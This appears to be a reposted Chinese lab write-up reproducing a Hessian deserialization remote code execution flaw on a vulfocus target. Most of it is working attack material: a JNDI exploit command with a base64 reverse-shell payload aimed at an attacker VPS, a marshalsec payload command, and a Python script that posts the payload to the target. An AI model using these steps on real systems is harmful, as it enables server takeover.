0


Hessian 反序列化RCE漏洞复现

1、产品简介

 Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。

2、漏洞概述

  Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好**,**Hessian反序列化类似Java反序列化,hessian-4.0.60.jar及之前版本中存在反序列化漏洞,成功利用此漏洞可在目标系统上执行恶意代码。攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程代码执行攻击,最终获取服务器最高权限。

3、影响范围

 版本   =<   hessian-4.0.60.jar

4、环境搭建

这里我们使用vulfocus靶场进行复现

5、利用流程

1、打开靶场环境,启动JNDI利用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具

工具地址:https://github.com/welk1n/JNDI-Injection-Exploit

 老规矩,直接拿shell(注意把VPS涉及到的端口放开)
执行命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码的反弹shell指令}|{base64,-d}|{bash,-i}" -A x.x.x.x

-C 为反弹shell的命令 -A 为VPS监听地址

2、生成payload

 marshalsec工具地址:https://github.com/mbechler/marshalsec

  编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://VPS地址:8180/ ExecTemplateJDK7>hession

执行后将在当前目录生成hession的payload

3、使用hessian.py 发送序列化的payload到服务器(注意把里面的url换成目标的url)

代码如下:

#!/usr/bin/env python
# coding=utf-8
# code by 21superman
# Date 2022年12月28日
import requests
import argparse

def load(name):
    header=b'\x63\x02\x00\x48\x00\x04'+'test'
    with open(name,'rb') as f:
        return header+f.read()

def send(url,payload):
    #proxies = {'http':'127.0.0.1:8888'}
    headers={'Content-Type':'x-application/hessian'}
    data=payload
    res=requests.post(url,headers=headers,data=data)
    return res.text

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", help="hessian site url eg.http://123.58.224.8:21173/hessian")
    parser.add_argument("-p",help="payload file")
    args = parser.parse_args()
    if args.u==None or args.p==None:
        print('eg. python hessian.py -u http://123.58.224.8:21173/hessian -p hessian')
    else:
        send(args.u, load(args.p))
if __name__ == '__main__':
    main()
    #load('hessian')

4、VPS提前开启监听,可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行反弹shll指令,成功拿到shell

6、修复建议

升级至安全版本或者打补丁。


本文转载自: https://blog.csdn.net/qq_41904294/article/details/128475226
版权归原作者 OidBoy_G 所有, 如有侵权,请联系我们删除。

“Hessian 反序列化RCE漏洞复现”的评论:

还没有评论